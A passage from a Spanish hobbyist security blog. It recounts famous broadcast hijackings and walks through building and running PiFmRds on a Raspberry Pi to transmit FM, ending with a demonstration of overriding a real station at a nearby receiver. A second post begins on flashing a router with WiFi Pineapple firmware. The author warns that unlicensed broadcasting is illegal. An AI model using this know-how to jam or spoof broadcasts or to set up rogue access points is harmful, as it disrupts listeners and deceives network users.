<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtf4EZZ1aRbEPK3aWqphr47-yiQ75kEPi6Xz50XuvSGAKH0QMglWl5ikQIH2rQ2hKNGg49RTogWMi4xa2j3dhQo4PzsyVVWSBi8zPod5Zbor38XiKjBy3sQlvyGBH-QeVJ5gi1RvAxUB4/s1600/photo_2018-06-28_22-40-57.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="960" data-original-width="1280" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtf4EZZ1aRbEPK3aWqphr47-yiQ75kEPi6Xz50XuvSGAKH0QMglWl5ikQIH2rQ2hKNGg49RTogWMi4xa2j3dhQo4PzsyVVWSBi8zPod5Zbor38XiKjBy3sQlvyGBH-QeVJ5gi1RvAxUB4/s400/photo_2018-06-28_22-40-57.jpg" width="400" /></a></div>
<br />
<a name='more'></a><h3>
Back To Basics! Una introducción a la intrusión de señales de radiodifusión.</h3>
<div style="text-align: justify;">
La intrusión de señales de radiodifusión es, hablando en plata, el "secuestro" de señales de radio, estaciones y/o transmisiones de televisión por cable o señales de satélite.</div>
<div style="text-align: left;">
<div style="text-align: justify;">
Aunque las intrusiones de señales de transmisión de televisión, cable y satélite suelen tener más repercusión, las intrusiones de las estaciones de radio son más frecuentes, ya que muchas simplemente retransmiten una señal recibida de otra estación de radio. Todo lo que se requiere es un transmisor FM que pueda "pisar" la misma frecuencia que la estación que se retransmite superponiéndose a ésta.</div>
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<div style="text-align: justify;">
<span style="font-family: inherit;">Aunque han existidos miles de estos "secuestros" desde que existen las señales apenas unos pocos han sido documentados a través de los años, uno de los primeros de </span>los<span style="font-family: inherit;"> que se tiene constancia data del </span><span style="color: #2b2b2b; font-family: inherit;">2</span><span style="font-family: inherit;">6 de Noviembre de 1977 en el Reíno Unido y en esa ocasión secuestraron una señal VHF para capturar los feeds de audio de varias estaciones de televisión. El mensaje emitido haría referencia a un ser llamado <b>Vrillon</b> del “Comando Galáctico Ashtar”. Acto seguido Vrillon informaría que su especie visita la tierra desde hace siglos y daría varios consejos a la humanidad. A día de hoy no se sabe quién realizó el acto de piratería.</span></div>
</div>
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/DDqjl6FvyUY/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/DDqjl6FvyUY?feature=player_embedded" width="470"></iframe></div>
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div style="text-align: left;">
<br />
<div style="text-align: justify;">
<span style="font-family: inherit;">Aunque sin duda el caso más conocido y el que siempre surge en las conversaciones sobre el secuestro de señales es, sin lugar a dudas, el de </span><b style="font-family: inherit;">Max Headroom </b><span style="font-family: inherit;">en 1987. </span></div>
<span style="font-family: inherit;"><div style="text-align: justify;">
<span style="font-family: inherit;">Lograron capturar y reemplazar la señal del </span><i style="font-family: inherit;">WTTW</i><span style="font-family: inherit;"> en Chicago mientras emitían un episodio de la popular serie </span><i style="font-family: inherit;">Dr. Who</i><span style="font-family: inherit;"> sustituyendo la señal original por su propia señal. La escena duraría poco más de un minuto y en ella se vería a un personaje enmascarado recitando frases incoherentes y haciendo toda clase de ruidos y monerías a la cámara... nunca lograron descubrir quién era él ni cómo se capturó la señal.</span></div>
</span></div>
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/tWdgAMYjYSs/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/tWdgAMYjYSs?feature=player_embedded" width="470"></iframe></div>
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<br />
<br />
<h3>
¿Es un secuestro de señal de radio lo que vamos a hacer?</h3>
<div style="text-align: justify;">
<b>NO!</b> En primer lugar: eso sería <u><b>absolutamente ilegal</b></u> (emitir en FM sin licencia (y sin equipo calibrado y certificado) está prohibido y se sanciona con multas en la mayoría de países, de hecho) y en segundo lugar para que se ajuste por definición a un secuestro "auténtico" como los vistos en el párrafo anterior deberíamos de suplantar el broadcasting de la señal en su origen y desde su fuente de emisión o relay desde satélite. Aquí nos hemos propuesto llevarlo a cabo con una Raspberry... esto ya es un declaración de intenciones de que la potencia que vamos a desarrollar es ínfima, casi ridícula.</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Lo que vamos a realizar nosotros con una Raspberry Pi es simplemente una emisión FM a muy baja potencia dentro del espectro de radio en una frecuencia determinada que nosotros deseemos. Dependiendo de lo cerca que estemos del receptor de radio, podríamos llegar a interferir (o "pisar") la señal que haya previamente estuviera recibiendo en esa frecuencia y podremos llegar a suplantar esa señal original con la que nosotros emitamos, pero en todo caso estaríamos actuando sobre el receptor de radio.</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<br />
<br />
<h3>
¿Emitiendo desde una Raspberry Pi como único hardware?</h3>
<div>
<div style="text-align: justify;">
Pues si! La verdad es que entre las muchas bondades de estas conocidas placas esta la de poder usar el pin número 7 (GPIO 4), cuya función es la de un reloj de propósito general (GPCLK0) capaz de crear una señal de pulsos cuadrados hasta una frecuencia máxima de 75 MHz, lo cual suena muuuuy interesante para cualquier persona interesada en proyectos de SDR (radio definida por software) y señales del espectro de radio.</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSsS5YkYxJATYQJx-9SHf_cx0BDtGnyyHIoOEiPTOjsyxYhqvJ2r0jUZ6TfmYH6HBja2kVjxJYs7QFjLY-eIoWWmCX7ZxYOnI0X6oCn4wv28UiDaszWGOhdB1_pkjYewj9XzbwrHM5myU/s1600/Raspberry-Pi-GPIO-Layout-Model-B-Plus-rotated-2700x900.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="534" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSsS5YkYxJATYQJx-9SHf_cx0BDtGnyyHIoOEiPTOjsyxYhqvJ2r0jUZ6TfmYH6HBja2kVjxJYs7QFjLY-eIoWWmCX7ZxYOnI0X6oCn4wv28UiDaszWGOhdB1_pkjYewj9XzbwrHM5myU/s640/Raspberry-Pi-GPIO-Layout-Model-B-Plus-rotated-2700x900.png" width="212" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<div style="text-align: justify;">
Por supuesto no es el hardware más óptimo para radio, pues el oscilador de onda cuadrada que se usa para generar la señal tiene un gran problema, y es que genera armónicos que pueden interferir con frecuencias más allá de las que se pretende transmitir. De hecho estos armónicos pueden ir bastante lejos de la banda en frecuencias restringidas, lo que significa que si aumentáramos la potencia de transmisión sin añadir filtros podríamos llegar a interferir con todo tipo de señales de radio alrededor, lo cual es <b>tan poco recomendable como <u>ilegal</u></b>.</div>
</div>
<div>
<br /></div>
<div>
<br />
<br /></div>
<h3>
PiFmRds: el software que hará la magia</h3>
<div>
<div style="text-align: justify;">
<a href="https://github.com/ChristopheJacquet/PiFmRds" target="_blank">PiFmRds</a> es un software creado por <a href="http://www.jacquet80.eu/" target="_blank">Christophe Jacquet</a> solo para experimentación y utilización en entornos de desarrollo/laboratorio que genera una modulación FM incluyendo datos RDS (Radio Data System) generados en tiempo real y que, a su vez, puede incluir audio monofónico o estereofónico. Esta basado y desarrollado a partir de <a href="https://github.com/rm-hull/pifm" target="_blank">PiFM</a> (actualmente en mantenimiento descontinuado).</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Pero antes de instalarlo PiFmRds debemos en primer lugar satisfacer las dependencias necesarias, y debemos empezar por instalar en nuestro raspbian la biblioteca <b>libsndfile1-dev</b> (libsndfile es una biblioteca de rutinas C para leer y escribir archivos que contienen datos de audio muestreados). Podemos instalarlo directamente desde los repositorios oficiales con apt-get:</div>
<div style="text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>$ apt-get install make libsndfile1-dev</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhniLjdz6apCEyUgsP_6wDZbDm087TH7XApdS71H_NIw7WK8sUwXAoo_elLJ4d4u3US9c2luD1Y3EKR6-C9fhwXzvjnl9Ppaeer9KU5xH4BJ7bb176HKg-UNBx2_CRft0T9hMFYtZTtLjE/s1600/lib.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="386" data-original-width="643" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhniLjdz6apCEyUgsP_6wDZbDm087TH7XApdS71H_NIw7WK8sUwXAoo_elLJ4d4u3US9c2luD1Y3EKR6-C9fhwXzvjnl9Ppaeer9KU5xH4BJ7bb176HKg-UNBx2_CRft0T9hMFYtZTtLjE/s1600/lib.jpg" /></a></div>
</div>
<div>
<br />
<section style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">
<div>
<br />
<br /></div>
</section><br />
<div>
Una vez instalada la libreria podemos realizar la instalación de PiFmRds clonandolo desde su github: <br />
<div style="text-align: center;">
<b><span style="font-family: "courier new" , "courier" , monospace;">$ git clone </span><span style="font-family: "courier new" , "courier" , monospace;">https://github.com/ChristopheJacquet/PiFmRds.git</span></b></div>
</div>
<div style="font-family: "Courier New", Courier, monospace; text-align: center;">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-y6hr1hUjdZMLQU45PVfueHuuw99IRv87JvuU_pupHG5ZBS7VzcMZiA5es2tVO6OsGRYsaPBM44On8lX8CC4zOj8hj3brVaLWCEQLTWeboj1T81aUPiSvNqfbD6jxKqtAFCD-xPq5J7A/s1600/git.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="142" data-original-width="642" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-y6hr1hUjdZMLQU45PVfueHuuw99IRv87JvuU_pupHG5ZBS7VzcMZiA5es2tVO6OsGRYsaPBM44On8lX8CC4zOj8hj3brVaLWCEQLTWeboj1T81aUPiSvNqfbD6jxKqtAFCD-xPq5J7A/s1600/git.jpg" /></a></div>
<br /></div>
<div style="font-family: "Courier New", Courier, monospace; text-align: center;">
<br /></div>
<div style="text-align: justify;">
Entramos dentro del directorio recién creado con <span style="font-family: "courier new" , "courier" , monospace;">cd PiFmRds/src</span> y procedemos a compilar con make. La recomendación es ejecutar en primer lugar <b><span style="font-family: "courier new" , "courier" , monospace;">'</span><span style="font-family: "courier new" , "courier" , monospace;">make clean'</span></b> para asegurarnos que la compilación se realiza de forma correcta para la versión concreta de nuestro modelo exacto de Raspberry. Por último compilamos de manera definitiva con <span style="font-family: "courier new" , "courier" , monospace; font-weight: bold;">'</span><span style="font-family: "courier new" , "courier" , monospace; font-weight: bold;">make'</span><span style="font-family: "arial" , "helvetica" , sans-serif;">.</span></div>
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6cEbN5tSgxtAmKtdwkjfnR-DgWbDoy88p7PktceNH7srvsMj5mvC1HRxWV5QkDZ7iV9_RyazCiycScztrkuGRg8Ol0GyknrffFFibccgVpqf378-6igeihPiHrnnaLCgFqm0cqGVNrf8/s1600/make.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="293" data-original-width="649" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6cEbN5tSgxtAmKtdwkjfnR-DgWbDoy88p7PktceNH7srvsMj5mvC1HRxWV5QkDZ7iV9_RyazCiycScztrkuGRg8Ol0GyknrffFFibccgVpqf378-6igeihPiHrnnaLCgFqm0cqGVNrf8/s1600/make.jpg" /></a></div>
<div style="text-align: center;">
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div style="text-align: justify;">
Con esto ya tenemos satisfechos los requerimientos de hardware y software necesarios para llevar a cabo nuestra PoC sobre le secuestro de frecuencia y ya solo queda empezar a hacer pruebas de emisión para ver si todo funciona.</div>
<div style="text-align: justify;">
<br /></div>
<br />
<br />
<h3>
Probando, Probando, 1, 2...</h3>
<div>
<div class="separator" style="clear: both; text-align: justify;">
Vamos a llevar a cabo nuestra primera emisión desde nuestra Raspberry!! Para ello en primer lugar debemos de disponer de un receptor de radio, en mi caso usaré un receptor SDR en formato dongle USB de RTL-SDR junto a una antena pequeña.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNDM2gkO5wdx2MSkSqavZJOwMYDlOW8NJPMuqhWyhmK1byspTJb4Gb4Xh87BIZ1i9hsPQgkEcqt7drZeo4lqVRtEghrK-w3dVFWVoqDdBGBTJdob4oVCrsdTAOTVu0fQzwpefSOZ3seyE/s1600/IMG_4352.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNDM2gkO5wdx2MSkSqavZJOwMYDlOW8NJPMuqhWyhmK1byspTJb4Gb4Xh87BIZ1i9hsPQgkEcqt7drZeo4lqVRtEghrK-w3dVFWVoqDdBGBTJdob4oVCrsdTAOTVu0fQzwpefSOZ3seyE/s400/IMG_4352.jpg" width="300" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<br />
<div style="text-align: justify;">
Una vez dispuesto el receptor que nos permitirá comprobar si funciona nuestra emisión, debemos entrar en el directorio "src" y tratar de localizar el archivo de audio que vamos a querer reproducir en nuestra prueba. Listamos el contenido del directorio y observamos 5 archivos de audio con extensión .wav</div>
<div style="text-align: justify;">
<br /></div>
<div class="" style="clear: both;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtaENn-zmpKE319eZnVg5DjYwktZKGWCyy6pwApT-JFwnmjYCrU0LHgzg5kL8rGFqH4-Vv-xsQa21U65HKD_YDdSPHn23a3JdbkKOQcYeY0284u6INrYwSrd9i-2Xg2ozJiZ7KAopcXHc/s1600/test_options.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="147" data-original-width="642" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtaENn-zmpKE319eZnVg5DjYwktZKGWCyy6pwApT-JFwnmjYCrU0LHgzg5kL8rGFqH4-Vv-xsQa21U65HKD_YDdSPHn23a3JdbkKOQcYeY0284u6INrYwSrd9i-2Xg2ozJiZ7KAopcXHc/s1600/test_options.jpg" /></a></div>
</div>
<div class="" style="clear: both;">
<br /></div>
<div class="" style="clear: both;">
<br /></div>
<div style="text-align: justify;">
Para nuestra primera prueba vamos a utilizar <i>pulses.wav</i>, que emitirá una consecución de pulsos de manera continuada. Además del audio que vamos a reproducir también deberemos de tener claro en que frecuencia vamos a emitir esta primera prueba, en mi caso he elegido la frecuencia de los 76.5 MHz pues mi SDR no me indica que haya nada en ella y considero esta como la mejor opción.</div>
<div style="text-align: justify;">
Para comenzar a "emitir" desde nuestra raspberry lanzamos el comando:</div>
<div style="color: black; font-style: normal; font-weight: 400; letter-spacing: normal; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;">
<div style="text-align: center;">
<div style="margin: 0px;">
<b><span style="font-family: "courier new" , "courier" , monospace;">$ sudo ./pi_fm_rds -freq 76.5 -audio pulses.wav</span></b></div>
</div>
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_iSrJ8Aw-X2BnKF-1Gj939lJFnoYTaPRXbldyW4WWFJQnOtrmd9Mdd60XK5bETgbuY1HOSA1smL3-mh2O9W0h2w1Fz8VdoFVJvNajuDHjefGWWetmF-Prn5X_WM20U6pyzWwGw6Sm-a0/s1600/test_sin_antenna.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="258" data-original-width="643" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_iSrJ8Aw-X2BnKF-1Gj939lJFnoYTaPRXbldyW4WWFJQnOtrmd9Mdd60XK5bETgbuY1HOSA1smL3-mh2O9W0h2w1Fz8VdoFVJvNajuDHjefGWWetmF-Prn5X_WM20U6pyzWwGw6Sm-a0/s1600/test_sin_antenna.jpg" /></a></div>
<br />
<br />
<div style="text-align: justify;">
¿Y que es lo que ocurre en ese momento en nuestro receptor? ¡¡Os lo enseño en vídeo!!</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/ZOs_BDFat68/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/ZOs_BDFat68?feature=player_embedded" width="470"></iframe></div>
<br />
<br />
<div style="text-align: justify;">
Aunque apenas pueda escuchar y se vea de forma muy tenue en la cascada de audio... esta funcionando!!! Lamentablemente no tan bien como quisiéramos, y es que el pin 7 de nuestra Raspberry y su ínfima potencia parece llegar a duras penas a nuestro receptor, por lo que quizás utilizando algún material conductor a modo de antena nos ayude. En mi caso he decidido utilizar cable conectados a ese pin, en un principio probé cable de electrónica flexible y compuesto por hilos, pero lo que realmente me pareció funcionar fue utilizar una cable de cobre rígido.</div>
<div style="text-align: justify;">
La teoría dice que con 20cms sería ideal, pero en mi caso para esta PoC me bastó con utilizar un cable de unos 9 cms aprox.</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-3xCDDVFsYG_ISSiA_rvRDGB5H0gjtcS6HeKDwC3dA1rdSNenuWIJR7gnZmmLsWLRgWKsGmkzXrsxdocjvZGRvr2KoKVaHS6fBI84RDk6thoQOAC8zuaJkWNqIFNkGYiISOkl6885Xyw/s1600/IMG_4349.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-3xCDDVFsYG_ISSiA_rvRDGB5H0gjtcS6HeKDwC3dA1rdSNenuWIJR7gnZmmLsWLRgWKsGmkzXrsxdocjvZGRvr2KoKVaHS6fBI84RDk6thoQOAC8zuaJkWNqIFNkGYiISOkl6885Xyw/s400/IMG_4349.jpg" width="300" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Lanzamos nuevamente el comando anterior y observamos que la diferencia es notable en cuanto a nitidez e intensidad en nuestro receptor!! Esto ya tiene mejor pinta, ¿no?</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/v6x80B9lF3Q/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/v6x80B9lF3Q?feature=player_embedded" width="470"></iframe></div>
<br /></div>
<br />
<br />
<br />
<br />
<h3>
La emisión definitiva!!!</h3>
</div>
</div>
</div>
<div>
<div style="text-align: justify;">
Ahora que hemos llevado a buen puerto todas nuestras pruebas ha llegado el momento de personalizar un poco nuestra emisión y representar un entorno un poco más real!!</div>
</div>
<div>
<div style="text-align: justify;">
Ha llegado el momento de interferir la recepción de una señal genuina con una personalizada a nuestro gusto... ha llegado el momento... por tanto... de ejecutar... la... <b>orden 66!!</b> (lo siento mucho si hay algún Jedi leyendo esto!)</div>
</div>
<div>
<br />
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/qHlPoc8oPdc/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/qHlPoc8oPdc?feature=player_embedded" width="470"></iframe></div>
<br /></div>
<div style="text-align: center;">
<br /></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br />
<br /></div>
<div>
<div style="text-align: justify;">
<span style="background-color: white; font-family: inherit;"><span style="font-family: inherit;">Espero que os haya gustado la entrada, si habéis llegado hasta aquí: MUCHAS GRACIAS por leer todo este ladrillazo!! Si os animáis a ha<span style="font-family: inherit;">cer <span style="font-family: inherit;">el proyecto y experimentar con ell<span style="font-family: inherit;">o y tenéis cualquier duda en la que pueda ayudaros no dudéis en contactarme!! </span></span></span></span></span></div>
<div style="text-align: justify;">
<br style="background-color: white; font-family: Roboto, Arial, Helvetica, sans-serif;" /></div>
<div style="text-align: justify;">
<br /></div>
<span style="background-color: white; font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;">Saludos!!!!!</span></span></span></span></span></div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com12tag:blogger.com,1999:blog-7944950214559293430.post-55945952842280106512017-10-18T12:11:00.001+02:002019-06-03T08:33:15.286+02:00Transformando un Mini-Router en una Piña!!En la línea habitual de mi afición al WiFi y al hardware hacking, hoy os quiero compartir esta entrada donde os cuento mis últimos escarceos con un pequeño router llegado a mis manos que ha mutado en una piña totalmente funcional!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhyphenhyphenyhw54YhVpG2MEgrS3HnH1-blMit6KZHaN0gCkTnp5vuDKQdjJBXgWUX0O4NRxqULJLEhp3S7y65gT8kG6iC-sE0yL84ZokQAuPFbubxf0MTqN3y8yp0xSJ3c7UPjNlZiNdxeuZ2x_4/s1600/IMG_9104.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhyphenhyphenyhw54YhVpG2MEgrS3HnH1-blMit6KZHaN0gCkTnp5vuDKQdjJBXgWUX0O4NRxqULJLEhp3S7y65gT8kG6iC-sE0yL84ZokQAuPFbubxf0MTqN3y8yp0xSJ3c7UPjNlZiNdxeuZ2x_4/s400/IMG_9104.JPG" width="400" /></a></div>
<br />
<a name='more'></a><h3>
</h3>
<br /><br /><div style="text-align: center;">
<span style="color: red;">================================================================================</span></div>
<blockquote class="tr_bq">
<span style="color: red; font-family: Courier New, Courier, monospace;"><b><u>AVISO:</u> con fecha de Febrero de 2019 el proyecto esta descontinuado por parte de su desarrollador y la versión 2.0.2 será la última disponible. </b></span></blockquote>
<span style="color: red;"><div style="text-align: center;">
================================================================================</div>
</span><h3 style="text-align: center;">
<br /></h3>
<h3>
GL-AR150, un mini router y tu nuevo objeto de deseo...</h3>
<div>
El AR150 es un mini router de la marca GL-Inet que entra en la palma de nuestra mano y que como podemos ver en <a href="https://www.gl-inet.com/ar150/" target="_blank">su página oficial</a> de un primer vistazo tiene conectividad WiFi a 150 Mbps y soporta perfectamente OpenWrt (de hecho viene con ello pre-instalado).<br />
Su precio en Amazon ronda aprox. los 25€ aunque si no tenemos prisa en tiendas online de oriente podemos ahorrarnos algo más de dinero y conseguir mejor precio aún.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTi8zs4yk7jz9hU1O62ZnVYfUPmPJDqMyV9wKfQKgEKyqmdNEYTOGIBo-kcbCBgh0_txhys7a7DWS05nTuIJiTMnCjvYNC1dUtDTfWK7vHVdYFOyEMaNctXSKrF0VyN0Ih5R88SHDrn4U/s1600/FullSizeRender.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1537" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTi8zs4yk7jz9hU1O62ZnVYfUPmPJDqMyV9wKfQKgEKyqmdNEYTOGIBo-kcbCBgh0_txhys7a7DWS05nTuIJiTMnCjvYNC1dUtDTfWK7vHVdYFOyEMaNctXSKrF0VyN0Ih5R88SHDrn4U/s320/FullSizeRender.jpg" width="305" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnB1Bjlg9J7O_huHcYMEep5Yg6WDaFLpdj07-P1y8wknHf8zFepolIU8-o5U34Czl7v63au4tnfCUs5jdKC7kEGyeFrxH0nwTL4a8bAJBwYRjGGhx3ISEsFq9EEGrmzExBAQI9QA3G52A/s1600/IMG_9103.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnB1Bjlg9J7O_huHcYMEep5Yg6WDaFLpdj07-P1y8wknHf8zFepolIU8-o5U34Czl7v63au4tnfCUs5jdKC7kEGyeFrxH0nwTL4a8bAJBwYRjGGhx3ISEsFq9EEGrmzExBAQI9QA3G52A/s320/IMG_9103.JPG" width="240" /></a></div>
<br />
<br />
<div>
Estas son algunas de las especificaciones del cacharro en cuestión:<br />
<br />
<ul>
<li>System Memory — 64MB RAM</li>
<li>Storage — 16MB Flash</li>
<li>Connectivity — 2x 10/100 Mbit Ethernet ports, 802.11 b/g/n Wi-FI up to 150Mbps</li>
<li>USB — 1x USB 2.0 port, 1x micro USB port for power</li>
<li>Debugging — Serial console via UART header (GND, Tx, Rx)</li>
<li>Expansion — 6 GPIOs, 5V, 3.3V, and GND.</li>
<li>Misc — Reset button, LED indicator</li>
<li>Power — 5V (micro USB)</li>
</ul>
<br />
Pero lo realmente interesante viene cuando seguimos ojeando sus características y nos encontramos con que en su interior monta el <b>SoC ATHEROS AR9331</b>, por lo que podemos decir que, a grandes rasgos, estamos hablando de un hardware muy semejante (el mismo en cuanto a SoC) al que monta la WiFi <a href="https://www.wifipineapple.com/pages/nano" target="_blank">Pineapple Nano de Hak5</a>.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHRz-g59Ym04sDJcdN-C5Af5x7Y19VhCC2IL6GzLuDPFvolM3_-UbAIIVbblZAPI1miN3pWALn_an7l1VgDX4ifZT-wg7l9qYHD6Fm4_4vm61NN91Ms9gaUct1YV3aZKfW01ie8gkWgsA/s1600/IMG_9106.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHRz-g59Ym04sDJcdN-C5Af5x7Y19VhCC2IL6GzLuDPFvolM3_-UbAIIVbblZAPI1miN3pWALn_an7l1VgDX4ifZT-wg7l9qYHD6Fm4_4vm61NN91Ms9gaUct1YV3aZKfW01ie8gkWgsA/s320/IMG_9106.JPG" width="320" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_Ua_gtaS_ujRHthJVAT74uk-Ocw-dXNrTFebzwIoNHvBZvXvSWZBhPOZUHl5gcaIlmEBhJ0Dr6OmLdPWlpULJMVeXvyazrjmTlL1nSVCqz3EEzk4AwJ8x-G_KnchnlhtL74MmUXEyosM/s1600/gl_ar150_marks.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="700" data-original-width="700" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_Ua_gtaS_ujRHthJVAT74uk-Ocw-dXNrTFebzwIoNHvBZvXvSWZBhPOZUHl5gcaIlmEBhJ0Dr6OmLdPWlpULJMVeXvyazrjmTlL1nSVCqz3EEzk4AwJ8x-G_KnchnlhtL74MmUXEyosM/s400/gl_ar150_marks.jpg" width="400" /></a></div>
<h3>
</h3>
<h3>
Investigando sobre la coincidencia y el 9331SoC </h3>
<div>
Revolviendo por la red respecto al AR150 dejando volar mi imaginación más "maligna" encontré la agradable sorpresa de que alguien ya había tenido esos pensamientos... y es que la compatibilidad del AR150 con OpenWrt y la capacidad de flashear diferentes firmware habría todo un abanico de posibilidades.</div>
<div>
Ya se encontraba el firmware de la WiFi Pineapple Nano original en su versión 1.1.3 <a href="https://github.com/SecurityAddicted/pineapple-ar150" target="_blank">totalmente adaptado y listo para su descarga</a> y utilización en nuestro nuevo juguete AR150 por cortesía de <a href="https://github.com/SecurityAddicted" target="_blank">SecurityAddicted</a>.</div>
<div>
<br /></div>
<div>
